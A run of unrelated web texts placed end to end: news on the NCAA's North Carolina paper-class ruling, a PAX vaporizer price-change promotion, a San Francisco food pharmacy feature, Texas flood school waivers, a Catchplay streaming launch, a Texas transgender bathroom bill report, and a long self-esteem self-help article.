North Carolina initially accepted the Wainstein report’s findings, the NCAA noted, as its accreditation agency was examining the situation. When the NCAA decided the situation potentially merited penalties for North Carolina athletics, however, university officials “pivoted dramatically” and “disavowed” the report, the NCAA noted. Sankey said the NCAA intends to forward its ruling along to the Southern Association of Colleges and Schools Commission on Colleges, North Carolina’s accrediting body, which in 2015 took the rare step of placing the school on probation over the no-show classes.
In a news conference in Chapel Hill Friday afternoon, North Carolina officials welcomed the NCAA’s decision, which affirmed what university leaders have been saying for years when speaking in public about the “paper courses” — because the classes were offered to all students, they didn’t fall under the purview of NCAA jurisdiction.
“We had some things that occurred that we haven’t been proud of,” Athletic Director Bubba Cunningham said. “Sometimes the behavior that you’re not proud just doesn’t quite fit into a bylaw or a rule... and that’s what we’ve been talking about for five years. We’re not proud of the behavior, but we didn’t think it fit into a bylaw.”
North Carolina officials disagreed with the NCAA’s criticism of the school’s changing positions on the Wainstein report, claiming they have never disagreed with the facts Wainstein uncovered, just his conclusions about the role of athletics and the motivations of those involved.
While UNC athletic officials have said they had no knowledge of the courses and did not participate in steering players to them, the Wainstein report noted that North Carolina’s football staff seemed especially concerned when Crowder retired in 2009. Athletics academics counselors and football coaches held a meeting in which a PowerPoint presentation explained the importance of the classes in keeping football players academically eligible.
“We put them in classes that met degree requirements in which... they didn’t go to class... they didn’t have to take notes, have to stay awake... they didn’t have to meet with professors... they didn’t have to pay attention or necessarily engage with the material,” the presentation said. “THESE NO LONGER EXIST.”
On campus, Friday’s ruling was the welcome conclusion to a scandal that has created distractions for the university and its sports teams for six years. The Tar Heels basketball teams are scheduled to hold their version of Midnight Madness on Friday night, kicking off their new seasons. A banner celebrating last season’s men’s basketball national title will be raised to the rafters at Smith Center, alongside the 2005 and 2009 banners, which, after Friday’s ruling, are there to stay.
Read more:
Jenkins: As the FBI uncovers a shadow economy, let’s be clear who created it: The NCAA
Most call it a college basketball scandal. In Louisville, they call it ‘total Armageddon.’
Pitino began his career under suspicion. It’ll end there, too.
Wizards’ Wall reflects on his college recruitment as a teammate worries about the scandal
Feinstein: College coaches know everything that goes in their programs. Even Pitino.
Svrluga: Let’s be honest: This is how college sports worksThis offer has expired, but make sure to check out our 2018 Black Friday & Cyber Monday Vaporizer Sales and our Black Friday Cyber Monday Vaporizer Roundup 2018 for more great deals.
PAX 3 & PAX 2 Big Price Drop & Changes
PAX Vaporizer lineup updated: Lower prices, more options
Big changes are coming to the PAX vaporizer family. Don’t worry, the sleek ultra-portable vaporizer itself isn’t changing. Instead, the PAX 3 will be offered with two different accessory kits, with some color changes. The PAX 3 will also be available for as low as $199, and the PAX 2 will come down to a very wallet-friendly $149.
By diversifying, PAX is becoming a much more enticing vaporizer at every price point. For those just seeking a simple on-the-go solution for dry herb only, the PAX 2 becomes hard to beat at $149, the PAX 3 Basic Kit makes some nice additions to what the PAX 2 offers at $199 while the fully loaded PAX 3 Complete Kit is the choice for those that want the option to vape concentrates and includes a bunch of useful accessories at $249.
*NOTE* For a limited time, the PAX 3 will be available in the Glossy finish for $249 with everything that is included in the Complete kit minus the carrying case. And the PAX 2 will be available in 4 colors with a 10-year warranty for $175. Once these items sell out, they are gone and this post reflects how PAX is changing their lineup, even though some of the old options may be available for a limited time at reduced prices.
PAX 3 fast facts
2 Different accessory kit options
Basic Kit $199
Complete Kit $249
New matte finish is replacing the original glossy finish
Rose Gold & Teal colors added to the line up with Gold discontinued
Same 10 year warranty
PAX 2 fast facts
Now $149
Only available in Black and Silver
Now 2 year warranty
PAX 3 Complete Kit for dry-herb & extracts
The PAX 3 vaporizer carried a $274.95 launch price, with a full swath of accessories, mouthpieces, extra screens, half-pack lid and a concentrate insert. That price is now dropping to $249.99, with a stylish tweed carrying case thrown in, which will be sold as the PAX 3 Complete Kit.
The Complete Kit is definitely the right choice for users looking to use extracts with their PAX 3, or for those plan on buying a few accessories anyway. And it could be considered the best value in the whole line up adding over $100 in accessories compared to the PAX 3 Basic kit or PAX 2.
Basic kit has you covered
If you want to save a little cash, and don’t plan on using extracts, the Pax 3 Basic Kit for $199.99 is a solid option. It includes any of the four PAX 3 color options, a cleaning and maintenance kit, charger, and the flat and raised mouthpieces. It is identical to the vape found in the complete package, minus some of the accessories.
Glossy is out, matte is in
The PAX 3 originally dropped the PAX 2’s brushed finish for a glossier, polished look. It gave the already swanky PAX an even more premium feel, but the smooth surface didn’t help hide the dents and scratches that come from carrying a device in your pocket.
PAX is now updating the look of the PAX 3 with a new matte finish that’s a bit more toned-down than the glossy version and will be available in four colors: black, silver, teal, and a rose gold.
Gold is gone, rose gold is back + teal is here
As part of the stylistic changes to the PAX 3, the available color palette has changed. The regular gold is gone, replaced by rose gold with the updated matte finish, which was originally a limited edition, but is now a standard color. The teal color featured on the original PAX 2 has returned as well but now on the PAX 3, in a slightly darker hue, with silver and black rounding out the updated look.
PAX 2 price drops to $149
The PAX 3 Basic’s price drop puts it at odds with the PAX 2 vaporizer, so the older model’s price is coming down as well. The PAX 2 will only be available in two colors, black and silver, with a cleaning kit, charger, and the raised and flat mouthpieces, for $149.99.
A shorter warranty for the PAX 2
The PAX 2’s warranty is also dropping from 10 years to 2 years, a more standard length for the price point. That’s just for the new PAX 2s, and any purchased before will still have the 10 year warranty honored. The PAX is a solid device, and it’s unlikely you’ll need the warranty.
Though the 2 year warranty is longer than most at this price point, if a longer warranty is a concern, the $50 upgrade to the PAX 3 Basic Kit includes a 10 year warranty, along with a number of other benefits
PAX 2 colors simplified
Along with the price drop and shorter warranty for the PAX 2, we’re seeing a more simplified color line up with just Black and Silver available and blue and red departing.
Lower prices, more choices
This shift in the PAX vaporizer line up is one that put the stylish vaporizers in a very competitive position across many different price points and makes their premium vaporizers available to those that they may have been out of reach before.
At $249, the fully loaded PAX 3 Complete kit delivers a lot, making it more competitive on price against it’s high-end competitors, including the Firefly 2 and DaVinci IQ. At $199, the PAX 3 Basic kit, delivers a premium, intelligent vaporizer at a very affordable price. And with the PAX 2 available for $149, PAX has a portable vaporizer that will match most vaporists needs within their budget.
There’s more…
We kept it simple here and just focused on the big stuff. If you’re looking for a little more insight make sure to check out our in depth coverage below...
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Six years ago, James Stancil, 62, a former long-haul trucker, decided to move from Iowa back to his hometown of San Francisco to live with his aging mother. There was just one problem: His enlarged heart, high blood pressure, and diabetes made his body so swollen he couldn’t get on an airplane. Doctors had to drain 75 pounds of fluid before he was well enough to fly. By the time he walked into a public health clinic near his mother’s house, his blood pressure was so high that “people were telling me, ‘You should be dead right about now,'” recalls Stancil, who’s African American and sports a white chinstrap beard. He was put on medications. He also met with a nutritionist, who urged him to cut down on salty, fatty foods like fried chicken and mac and cheese. After he learned to prepare his favorite dishes differently, his blood pressure plummeted; it’s now back to normal.
“Often we just pile on prescriptions and ignore the other half of the equation for wellness, which is food.”
Stancil no longer has to take so many pills. Yet thanks to a new program, he still frequents a pharmacy at Silver Avenue Family Health Center—only this one fills prescriptions for things like pears and squash. The so-called food pharmacy brings together the resources of a food pantry with the acumen of clinical nutritionists and the flair of a farmers market, mostly to tackle high blood pressure and diabetes. Patients who receive a referral can stop by for donated groceries, recipe demonstrations, and cooking tips. Four more of San Francisco’s primary care clinics will host food pharmacies by next year.
Meanwhile, diet-related diseases continue to spread: 1 in 3 adults in the United States have high blood pressure, elevating their risk for heart disease and stroke. More than 7 percent of people have diabetes, mostly Type 2, up from 4.4 percent in 2000. In 2012, the disease cost the country $176 billion in direct medical expenses, plus another $69 billion in decreased productivity. Analysts at Thomson Reuters calculated that reducing employee health risks such as high glucose and blood pressure by just 1 percent could save employers $83 to $103 per person annually.
The program is part of a movement to prevent and manage conditions through diet, not pills. “Often we just pile on prescriptions and ignore the other half of the equation for wellness, which is food,” says the San Francisco public health department’s Dr. Rita Nguyen, who spearheaded the city’s food pharmacy project. A 2015 study in the Journal of Biomedical Education found that only about a quarter of medical students get the recommended 25 hours of nutrition education. And as Nguyen points out, doctors have a financial incentive not to specialize in primary care: They’re paid well to cut out cancer or freeze warts, but not to “spend 15 minutes talking to someone about their diet.”
Even with a doctor’s nudge, eating healthily is easier said than done for poor Americans. Fresh produce is often much more expensive than packaged and fast foods. Most of Nguyen’s patients are on Medicaid, and 65 percent of them lack reliable access to affordable food, a situation experts call “food insecurity.” Food-insecure populations also see higher rates of high blood pressure, high cholesterol, and diabetes.
Even with a doctor’s nudge, eating healthily is easier said than done for poor Americans.
San Francisco’s food pharmacies are some of a handful that have popped up around the country. Many were inspired by Boston Medical Center’s “preventative food pantry,” which opened in 2001 after doctors realized their patients struggled with food insecurity and its associated maladies and couldn’t afford to stock their fridges with fresh veggies and other perishables. The BMC food pantry’s 7,000 monthly visitors now enjoy produce from the hospital’s rooftop garden.
Measuring the impact of food pharmacies can be tricky, says BMC dietetic technician Latchman Hiralall, because patients rely on them only for some of their groceries. But early indicators are encouraging: After a three-month trial at one of San Francisco’s pharmacies, 75 percent of patients reported greater access to healthy foods; about half reported better blood sugar levels, and 38 percent reported lower blood pressure.
The morning I visited the Silver Avenue pharmacy, a sunlit room lined by long wooden tables and a small corner kitchen, a dietitian handed out cookies made from bananas and oats along with printed recipes to about 10 patients. The pharmacy hopes to attract 40 patients every week; currently it sees 10 to 20. Stancil, now a volunteer at the pharmacy, stood next to gleaming silver buckets of yellow onions and red apples. A broad man with close-cropped gray hair and a cane declined to take some fresh carrots. “You like coleslaw?” Stancil asked. “Oh, man—I love it. Carrots are in coleslaw?” the man responded, adding that he had never made it. Stancil nodded and said, “We can show you all that.”Commissioner Morath grants waivers for Houston area schools hit by flooding
AUSTIN – Commissioner of Education Mike Morath today announced that he will grant two missed instructional day waivers for school systems in Houston area counties that fall within Gov. Greg Abbott’s state of disaster declaration. School systems in this area have been severely impacted by flooding this week preventing schools from opening.
“Gov. Abbott moved swiftly to declare a state of disaster and bring needed assistance to these counties,” said Commissioner Morath. “I commend school system leaders for their swift response to ensure the safety of students, teachers and campus staff.”
Commissioner Morath noted that flooding conditions in the greater Houston area has had a different impact on each school system. While classes have resumed in some schools, ongoing flooding conditions have prevented other schools from reopening. Local school calendars also vary.
As a result of the two missed instructional day waivers, school systems in disaster counties that have missed one or two days this week due to flooding will not have to make up those days on the remaining school calendar.
School systems in disaster counties with more than two days missed due to flooding will not have to make up those two days on the remaining school calendar, but will need to work with the Texas Education Agency on options for any additional missed days beyond two.
“Texas Education Agency staff will work with each individual school system on options, best suited to specific local needs, regarding the remainder of the school year,” said Commissioner Morath. “Superintendents now have a variety of options, and we will work with each district to resolve these school calendar issues.”
Greater Houston area counties in Gov. Abbott’s state of disaster declaration include Austin, Fort Bend, Colorado, Grimes, Harris, Montgomery, Waller and Wharton.Taiwan-based film distributor and producer, Catchplay is launching a video-streaming service that it hopes will take on rival platforms in Asia and reverse piracy. Its Catchplay On Demand service launches initially in Taiwan, with Singapore and Indonesia set to follow in the second quarter of the year.
The company, which through a deal with New Regency, is one of the financiers of “The Revenant,” says the new service has a mix of content that has more new releases than rival platforms and delivers them quicker. It will be available in transactional video on demand and subscription VoD modes.
“In recent years, Catchplay has quietly and purposefully expanded its business from theatrical distribution to film financing and production, aggregating digital content for many leading digital platforms and the operation of our own movie channel,” said Harvey Chang, Catchplay chairman in a statement. “Today we launch our new digital platform that extends the services we provide to movie lovers. With this new platform, we can better contribute to the health and vitality of the region’s content industry.”
The service is to be launched in Singapore in a partnership with cable platform operator StarHub, and in Indonesia with Telkom Indonesia. The company aims to launch in a fourth Asian territory by the end of the year.
Its Hollywood content includes movies from NBC Universal, Warner Bros and Disney.
“We hope that we are not too late to launch,” Catchplay CEO, Daphne Yang told Variety. “The company is founded by movie lovers and has become very experienced in what to buy, and how to distribute. To become a platform operator we have taken on engineers and technicians and seen staff numbers go from 30 three years ago, to 11o today.”
StarHub was quick to find a place on its platform for Netflix when it launched in Asia earlier this year, but CEO Tan Tong Hai said that the two services have substantial differences and are complementary.
“Catchplay has unique content, movies in particular, where we see Netflix more focused on its original TV content,” Tan told Variety. “We see Hollywood and Asian content as the key and the gaps in the current lineup being addressed by Catchplay.”
Tan also said that not all content that works in Taiwan will work in Singapore. He suggested that his company will act as a local partner to guide Catchplay.
“All content providers are aware of piracy. Singapore believes in IP protection. We can monitor, block signals, bring in more content quickly and make it affordable,” Tan said.Texas State Rep. Debbie Riddle (R) has introduced two new bills that seek to criminalize the use of bathrooms by transgender people. Not only could trans people face jail time and fines for using gender-segregated facilities that match their gender, so too could businesses who make their facilities open to trans patrons.
H.B. 1747 would amend Texas’ existing laws on disorderly conduct by adding a provision that relates to when a person “enters a public restroom that is designated by a sign for members of the opposite sex of the actor.” Sex, it specifies, is established by the individual’s driver’s license. In Texas, transgender people actually can obtain identity documents that match their gender — if judges cooperate.
Riddle’s other bill, H.B. 1748, does not offer the same flexibility. It defines gender as what is “established at the individual’s birth” or “established by the individual’s chromosomes,” with chromosomes controlling if there’s a mismatch. Thus, it erases the experience of transgender people as it sets out very strict rules for who can use what facility.
Under HB 1748, it would be a Class A misdemeanor for any individual over the age of 13 to “enter a locker room, shower facility, or toilet facility that is designated for use by persons of a gender that is not the same gender as the individual’s gender.” Under Texas law, a Class A misdemeanor shall be punished by a fine of up to $4,000 and up to a year in jail. The bill creates exceptions only for those serving a custodial purpose, providing medical assistance, or accompanying a young child that is not of the same gender.
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The bill also targets any “operator, manager, superintendent, or other person with authority over a building,” stipulating that they may not allow anyone to enter a locker room, shower facility, or toilet facility that does not match their gender. Any facility owner who does allow such access has committed a state jail felony. Texas law would dictate a minimum of 180 days in prison with a maximum of two years, as well a fine up to $10,000.
ThinkProgress has sought comment from Riddle’s office since Monday morning, successfully making contact several times over |
you’re asking questions, you’re searching for answers and solutions.
When are you the most open to find out about new things? When you lack confidence about those things. You don’t want to learn things that you already know, right?
When do you acknowledge you need a change? When you lack the confidence that what you’ve been doing is not good enough.
There is, though, one self-confidence that you should have as much time as possible. That self-confidence is the confidence that: whatever will come your way, you will find ways to deal with it.
Whatever will came your way, you will find the means to deal with it.
And this self-confidence is the easiest to prove.
There are a few “lucky” ones that have no challenges in life, no pains, no obstacles. The rest of us, we are having them all: all sorts of things to solve, all sorts of situations to face and so on.
All of this hardship that you’ve encountered, you passed it sooner or later. So, you know that you can deal with almost everything.
Your life so far is the proof.
You dealt with things so far, so you will be more than able to deal with everything else. It makes sense right?
The best predictor of the future is the past, and the past says you will come out from any situation you will be faced with.
Every time you doubt yourself, think of all of those difficult situations that you have encountered and … you are here!
Remember, the only confidence you need as a continuum is this one:
Whatever will came your way, you will find ways to deal with it.
For specific tasks or skills or actions, self-confidence will come from the successes you will have. You can’t possibly be self-confident about your driving before learning to drive, right? Those who are confident about their driving skills before learning to drive are a danger to society.
You can’t be confident about mastering something before building few examples that you can do it.
You can be confident, though, that as you’ve done in the past, you can learn almost any new skill and become a master at it.
If you beat yourself up about the times when your self-confidence is low, low will remain because you will not give yourself the chance to prove to yourself how great you can be, how many amazing things you can accomplish.
Are you expecting to fail because your self-esteem and self-confidence are low?
Do it anyway!
Be as good to yourself as you are to friends that failed you.
You are giving them the second chance and sometimes the third chance and sometimes even the tenth chance.
Why? Because you have compassion for them.
You know that they are doing the best they know how, yet their best doesn’t always have the result you are expecting.
Have compassion for yourself as well. You are doing the best you know how at the moment in time.
4. Are you reluctant or afraid to put yourself first?
Sometimes maybe you don’t put yourself first because you believe that someone else needs urgently your attention. Other times maybe you don’t put yourself first because being altruistic gives you positive feelings.
What about the times when you don’t put yourself first out of fair?
If you have low self-esteem, probably most times you put others first even though you might feel:
you feel bad about it,
you feel bad about yourself,
you feel used and taken advantage of,
you feel as if a piece of the real you is fading and disappears each time when you deny yourself the right to put yourself first.
Yes, there are situations where it is a positive thing to put others first.
However, if this occurs every day and in almost every given situation, most likely you are doing it out of anxiety or out of fear.
You might have the fear that you will not be loved, accepted, liked or perceived as a good hearted person, a good parent and so on.
The result of putting others first all the time will not bring you love, nor acceptance, nor will you be liked more.
The result will be that you get tired; you could develop a resentment towards the people you are always putting in front of yourself and from here there is just one small step to ruin a great relationship.
Usually, if you put others first due to having low self-esteem, most probably those people don’t ask you nor expect you to put them first or to sacrifice yourself for them. So they will not appreciate your effort, and they will not be thankful for it.
What should you do?
Take the advice from the flight attendant before taking off “Secure the oxygen mask on you first and then assist other people.”
Putting yourself first doesn’t mean to be self-centered or selfish.
For example:
It is one thing to wake up with the great thought: “What can I do today amazing for my spouse?” and another thing to do nothing all day but attending the needs of your spouse with total disregard for your needs.
5. Are you reluctant or afraid to trust your opinion, ideas, and judgment?
Trusting your opinions, ideas, and judgment, starts with allowing yourself to feel and go with the feeling you have.
Trusting your opinions, ideas, and judgment, it’s more a matter of choosing rather than lack of self-esteem. However, It becomes an issue of self-esteem when you beat yourself about it.
Almost everything that you beat yourself about will eventually become a self-esteem issue because you stop giving yourself the chance
to do your best,
to bring out the best in you,
to prove to yourself how great and capable you are.
6. Are you occupying your personal space?
Claim and occupy your space.
Your body posture and where you position yourself in a room has a significant effect on your self-esteem.
Get out of your comfort zone and make yourself seen.
Stay in the center of the room.
If you are a shy person, this exercise will help you with your shyness too.
When you claim your space, and you’re occupying a central position remind yourself that you deserve that place, and you are not under any obligation to speak or entertain people around.
So, get out of that dark corner where you feel comfortable hiding.
Little by little you will feel comfortable in the center too, and you will know you deserve to be there.
These three things are going hand in hand causing one another and feeding one from another.
Being lonely carries with it a social stigma and that can cause you to have low self-esteem:
”No one want’s me”
“I don’t deserve to have friends.”
Having low self-esteem can make you isolate yourself:
“I better not go out or meet my friends because I’m not good enough for them.”
“Why would anyone want me as a friend when I can’t do anything right?”
“I am unloveable.”
Low self-esteem and loneliness will make you feel unsafe:
“No one cares about me.”
“If something happens, no one will help me.”
“I can’t rely on anyone but myself.”
“I could die tomorrow, and no one will even notice.”
Feeling safe is one of the most vital needs a person has. And feeling safe doesn’t come from living in a bunker or having the latest security system, or carrying a gun.
Feeling safe comes from the people that you gathering around yourself.
You need to have a soft place to fall.
You need to know that people around you love you enough to care about you and if needed will care for you.
When you don’t feel safe, your self-esteem level drops, dramatically, because you might think that you have caused, in some way, to be unsafe.
You might believe that there is something wrong about you, and that’s way people don’t jump to protect you, to embrace you, to offer you comfort and empathy.
If you feel unsafe, most probably you start isolating yourself because you trust no one.
And this is the vicious cycle that you might go around and around and around and time isn’t solving it but is making it worse because, as I’ve said low self-esteem, loneliness and feeling unsafe feed each other constantly.
The good news is that starting to solve any of these three issues, will automatically have a positive effect on all three. The change and the quality of life are dramatic and immediate.
So let’s see, one by one, what can you do to get out of this cycle.
Loneliness.
If you are lonely most probably you’ve got here by isolating yourself or allowing someone else to isolate you from the rest of the world.
Loneliness comes gradually, and you will not know that is happening until you just notice that there is no one around you.
You are not left out by your friends and loved ones because you are not good enough for them or because they don’t love you or because they don’t want to spend time with you.
What happens is that every time they invite you somewhere, and you say no, you are sending a message: “I don’t want to spend time with you.”
Even though your reasons have little to do with them, we all live inside of your own mind, we take everything personally, and we spend most of our time being self-absorbed.
Plus, any relationship you have needs maintenance.
Get “out” of the internet and get “into” the real world as much as possible.
Keep in touch with people that are important to you. Make them feel important and when you meet/ or communicate, make them feel good about themselves.
Set the rules of engagement. Who’s calling who, when, how? Don’t leave things to chance.
A few tips to improve your safety feelings.
Have a talk with your loved ones.
Delegate, who is responsible for you in case something happens. You could believe that people don’t want such responsibilities, however, those people that really love you will take it because they will see it as an honor and duty.
Discuss hypothetical scenarios with your friends and loved ones and ask them what would they do if you are in those situations. You could be surprised. You don’t know what you don’t know.
Be willing to offer back what you’re asking for.
Surround yourself with people that you like and like you back.
Don’t be afraid to ask what you want to know.
Maybe you haven’t realized this before, that loneliness and feeling unsafe are such major components in low self-esteem. However, now that you know about it, you can change your life and the value you’re giving to yourself by discovering more about who you are.
Get connected, feel safer and your self-esteem will automatically rise.
8. Are you accentuating your negative points?
I would like to believe that this article is perfect, but is not. It is not perfect because there is no such thing as perfection. It can be perfect for you, though, is it not?
All humans have good points and not too good points as well.
If you remember, at the beginning I said that self-esteem is the product of your mind. Accentuating your negative points will produce low self-esteem because where your attention goes, your energy goes as well. Plus, your unconscious mind does not allow you to be a liar.
What this means is that your mind will do it’s best to prove that you are right, good are bad doesn’t matter as long as you are right, as long as you are telling the truth.
If you choose to notice mostly the negative side of yourself, you will most probably “garnish” this image with a detailed mean and hurtful self-talk.
And your mind does the best to prove right every statement that you are making about yourself.
Example:
“I’m not worthy.” Your mind shapes your behavior towards not being worthy because, as I’ve said, your unconscious mind doesn’t allow you to be a liar.
9. Are you overly concern about what people might think of you?
The human is a social animal. So, yes, we do care about what people think of us and to some extent we should care if we want to belong.
I guess you know that no matter how hard you try you will never be able to satisfy everybody. Some people like oranges and other people like apples. No matter what you will do to an orange, the apple lovers will remain apple lovers and the other way around.
However, the harder you try to satisfy everybody the fewer people will be satisfied with you.
Being concerned about what people might think of you comes from too much thinking, too much analysis of how you behave or how people responded to you in different situations. If the response were negative, too much thinking about it could make you draw the conclusion that it was your fault in some way.
People will think of you what they want to think of you and sometimes what people think of you have nothing, nothing to do with you, with who you are, but has everything to do with who they are.
What people might think of you is subjective and shouldn’t be the determining factor of your behavior of your feelings about self.
Your values and morals should be the base of your behavior and actions because, at the end of the day, the person you need to satisfy the most and to be admired and accepted by, it’s yourself.
Allow your morals and values to guide you. They already contain the right dosage of caring you need to have to be a good person, to be the person you want to be.
You can’t control what people think of you. What you can control, though, it’s the way you behave and the way you respond to other people’s behavior.
As long as you are doing the best you know how it should be enough for everybody around you. Those who are not satisfied with that, don’t deserve your attention and effort.
10. Do you give yourself credit and the merit of your accomplishments?
It could be hard to give yourself credit and the merit of your accomplishments if you have low self-esteem because:
You could disregard the effort you have put in.
You could think that it is a too small accomplishment to be acknowledged.
You might consider that your accomplishment is due to chance or somebody else.
You might have the tendency to emphasize what you don’t accomplish and by doing so, your accomplishment could look too small and insignificant.
You could be afraid that give yourself credit, and the merit of your accomplishments can make you self-centered and arrogant.
You might view acknowledging your accomplishments as a proof of having a big negative ego.
Giving yourself credit and the merit of your accomplishments is actually reinforcing positive behaviors and actions.
It is not about vanity; it is about building a map for yourself:
A map that will help you in your journeys towards what you want and need and desire.
A map that will save you time and energy.
A map that will help you to stay focused on your goals.
11. Do you accept compliments?
A few things that might stop you to accept compliments if you have low self-esteem:
You don’t believe you deserve the compliment.
You attribute the accomplishment that you are complimented for, to other people or chance.
You see accepting a compliment as a lack of modesty.
What you think about yourself doesn’t match what the other person is saying about you.
You are afraid that if you take the compliment, it means that next time you have to do it even better.
Compliments make you feel uncomfortable – you don’t know how to reply, or you are in the spotlight.
You think that you are complimented because the other person knows how “bad” you are, and they are complimenting you, only to make you feel better.
How not to receive a compliment
Don’t say “it was nothing.”
Apart from the fact that you put the effort in accomplishing that something, you might be perceived as arrogant.
Even though your reasons to say “it was nothing” might come out of low self-esteem, for the other person could mean “For you might be difficult but for me it was nothing.”
Don’t reply with the few examples you have of not being/ doing great.
“Ah, you haven’t seen anything! This was just one off. Usually, I’m terrible at this. Just let me give you a few examples then you will see that I’m a fraud.”
Don’t put yourself down and then complete the smearing with 100 reasons why you should stay there (down.)
Don’t feel under any obligation to return the compliment. If there are things that you can truthfully and honestly compliment the other person for, then you can do it. But do it when you want and not because you feel obligated.
How to receive a compliment
Say “Thank you.”
Smile.
If you have doubts that the compliment is dishonest or empty flattery, which in full honesty, happens from time to time to everyone, ask the person that is complimenting you, to be specific.
What exactly are they praising you for. (Pay attention not to transform yourself into an inquisitor or to get aggressive about it).
Why should you accept compliments in a graceful way?
Most probably/ most times you deserve it.
If you make people repeat the compliment few times because you didn’t accept it, and they will repeat it! You make them feel uncomfortable:
“This person thinks I’m lying,” “This person believes I want something…I was just making a compliment!”
You have earned the appreciation, the respect and the admiration of other people, it is the right time to own what you’ve earned!
After a few times of saying “thank you” out of courtesy, you will start believing that you deserve to receive compliments, and this is a huge step in improving your self-esteem and your self-confidence.
12. Are you mean to yourself but good and kind to others?
To be good and kind to other people comes mostly from your morals and values and out of the need to collaborate.
However, it comes from a strong desire to be accepted and liked. No matter what is your self-esteem level, I bet you want to be liked, don’t you? You want to be perceived as a good person. You want to build yourself a positive image in the eyes of people around you.
Do you believe that being good and nice to other people results in being liked, accepted and loved? I do!
If you do too, imagine giving yourself the same treatment: being good, nice and pleasant to self.
Do you realize that if you start treating yourself as good and as pleasant as you treat others you will accomplish the same result with yourself? You accept yourself as you are, you like yourself as you are, you love yourself as you are.
If being kind, good and nice works with other people why wouldn’t work for you as well?
13. Are you having a negative internal dialog?
How do you end up with low self-esteem?
The first thing is a negative internal dialog.
I haven’t said negative self-talk because a negative internal dialog includes everything that you’re telling yourself, not just about yourself, but about everything that’s surrounding you.
It is about what you chose to notice.
We have a few “dead” times throughout the day.
Times such as:
waiting for the bus,
waiting in line and
any other waiting time.
You can start shifting your thoughts towards positivity by using these dead times.
Every time you need to wait for something, take your thoughts purposefully towards the positive things that are around you.
Start noticing the beauty around you.
Search for those things that give you pleasure to look at, to listen to.
It doesn’t have to be something out of ordinary.
It could be a person smiling at you,
it could be a cute pin in a girl’s hair,
it could be a mother being kind to her children,
it could be the color of a passing car,
it could be the architecture of a building.It could be absolutely everything that is around you.
Search for the beauty around you and you will be surprised how many things you’ve missed in the past.
Allow yourself to enjoy the great things around you and your mind will reward you with happy, positive thoughts.
You will always notice and see only the things you’re searching for.
If you have the habit of searching for your negative points, only that is what you will find because you don’t have the awareness that you have positive points as well. You become blind to them.
Your mind is working like Google or Amazon are operating.
If you search a subject on Google, Google will start showing you the subject you’ve searched for. The more you click on that subject, the more related things with that subject Google shows you.
If you search on Google, let’s say the word “depressed,” Google shows you dozens of pages about depression and almost nothing else. But this doesn’t mean there are no other dozens of pages about how to be happy.
You will not see the pages about how to be happy, though, because you haven’t searched for happy, you’ve searched for “depressed.”
Your mind does the same to you: you will find what you’re looking for.
This exercise is the first step in changing the way you are speaking to yourself. And it is powerful because you don’t have to change what you believe about yourself or what you believe about anything else, you simply search, observe and notice.
I guess you heard the expression “fight or flight response” However, have you heard about the submission response? Maybe not.
When you have negative thoughts, these thoughts are an aggression on your mind and your body.
Do you fight them? Do you run away from them? No! Most likely you are submitting to them. You’re allowing yourself to be tortured by submitting to negative thoughts or negative comments that people are making about you.
Change the way you’re speaking to yourself. Stop submitting to negative thinking. First, fight it and then submit yourself to positive thinking.
Why submission? We tend to choose submission because is comfortable; it’s peaceful. However being comfortable and peaceful when it comes to negative thinking is poisoning your mind and your life.
How is peaceful to submit to negative thoughts about yourself?
“I’m not beautiful, I’m not worthy of being happy, I can’t do anything right, My hair looks awful, My parents don’t love me.”
Every time you talk to yourself this way is peaceful because you don’t fight it, you don’t even dare to debate the validity of these things. You don’t allow yourself to doubt them.
You are taking all these negative thoughts for granted as if they are facts about you and, not just simple subjective opinions.
“I’m ugly” no fight, no debate, just submission, therefore, peace, but with this kind of peace, comes a heavy, heavy price: you are unhappy.
I will not debate with you if you are beautiful, if you are smart, if you are worthy, if you are loved, if you are whatever is that you’re telling yourself that you are not. Some of the things you are telling yourself are true.
Most negative things, though, most probably are not. However no matter how much or how long I or anybody else, even yourself, will tell you all the positive things about you, you will not believe us because your mind could tend to be stuck in focusing only on your shortcomings.
We all have them! The only difference between you and people with higher self-esteem is where the focus lies most of the time. That is the only difference: where do you tend to focus your attention and energy.
Where do you tend to focus your attention and energy?
Let’s say this is how you see yourself today.
If you have low self-esteem, you made a long list of negative things that you believe about yourself. Some things are true, some things are not true.
Then, you have a short list of things you like about yourself.
Because you made a very long list of shortcomings, you will most probably gravitate towards that list, and you will not have the energy to gravitate and elongate your positive list.
So, starting right now, you train your mind to gravitate towards your positive list no matter how long or short it might be. Your focus, your attention, your energy, and your thoughts should be on your positive traits.
The more you will accept the good things about yourself,
the many positive traits you will start noticing about yourself and your life.
Give yourself permission to have mostly pleasant conversations with yourself.
Your hair is not great? Then choose to talk about your hands. You are not a great cook, tell yourself how great you are at cleaning. You don’t click with some people, tell yourself about those people that accept and like you as you are.
Are you making some mistakes, as we all are? Have compassion for that you that made the mistake. When you’ve done it, that was the best you know how to do.
Your internal dialog is a habit, and some of the things you are telling yourself didn’t even come from you. You have taken them from other people and applied them to self.
Now is time for you to give up on those comments, on those subjective opinions and even on the valid opinions at the time because, today, you are a different person. You have evolved; you have grown.
Now, you will start talking nicely to yourself, and you will start noticing the great things about the people and everything else that is around you.
I want you to know that this new way of thinking need practice and the more you will practice it, the more automatic will become and one day will be your new normality.
Until positive internal dialog becomes a second nature to you, it will happen that sometimes your internal dialog will go back to being negative.
Don’t blame yourself when will happen. Your mind worked that way for so long and now it needs some time to rediscover how wonderful you are.
So, what should you do when you feel you’ve got back to talking in a negative way about yourself or to yourself?
Take a deep breath and then push the air out, have a second of thinking about…nothing and then simply acknowledge that it happened to have a negative thought about yourself or that you’ve said nasty things to yourself.
You don’t blame yourself for it; you don’t put yourself down for it, nothing of the sort. Simply acknowledge the thought: “Ah, I just had a negative moment toward myself. It happens.” And then move your thought back to a positive internal dialog, a positive self-talk.
Quick recap of how to change your internal dialog to positive:
1. Start searching for the good part of people and things around you. Begin with unimportant things, mundane things and gradually go up to more important things.
2. Focus your attention and energy on the positive traits you have and tell yourself about those things.
3. Starting today, speak to yourself as you would do it with your best of friends, which means NICELY!
4. Simply acknowledge when you have a mean moment towards self and go on towards positive things
5. Have compassion for yourself. Even when you’re not doing your best, you are doing the best you know how to do at that moment in time.
14. Do you settle for what people are willing to offer you and you rarely express your demands?
To get what you want from people is less about self-esteem and more about influencing people.
To know how to influence people and to get what you want in an ethical way (meaning that you both win something at the end), it’s a skill and an art that you can learn.
What is the link between influence and self-esteem when it comes to asking what you want?
